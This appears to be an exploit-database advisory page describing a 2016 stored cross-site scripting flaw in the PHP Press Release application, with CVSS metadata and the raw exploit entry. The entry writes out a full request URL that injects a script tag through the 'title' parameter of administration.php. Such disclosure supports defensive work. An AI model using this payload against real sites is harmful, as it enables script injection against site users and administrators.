PHP Press Release* - Stored Cross Site Scripting*

vendor:

PHP Press Release

by:

Besim

8,8

CVSS

HIGH

Stored Cross Site Scripting

CWE

Product Name: PHP Press Release

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: a:pagereactions:php_press_release

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2016

PHP Press Release* – Stored Cross Site Scripting*

A stored XSS vulnerability exists in the PHP Press Release application. An attacker can inject malicious JavaScript code into the 'title' parameter of the 'administration.php?pageaction=saverelease' page. When a user visits the page, the malicious code will be executed in the user's browser.

Mitigation:

Input validation should be used to prevent malicious code from being injected into the application.

Source

Exploit-DB raw data:

# Exploit Title :              PHP Press Release* - Stored Cross Site
Scripting*
# Author :                     Besim
# Google Dork :                 -
# Date :                       09/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :   http://www.pagereactions.com/product.php?pku=1
# Software link :
 http://www.pagereactions.com/downloads/phppressrelease.zip


Description : 

Vulnerable link :
http://site_name/phppressrelease/administration.php?pageaction=newrelease

Stored XSS Payload : 

http://www.site_name/phppressrelease/administration.php?pageaction=saverelease&subaction=submit&dateday=&datemonthnewedit=&dateyearnewedit=&title=<script>alert('Exploit-DB')<%2Fscript>&summary=deneme&releasebody=deneme&categorynewedit=1&publish=active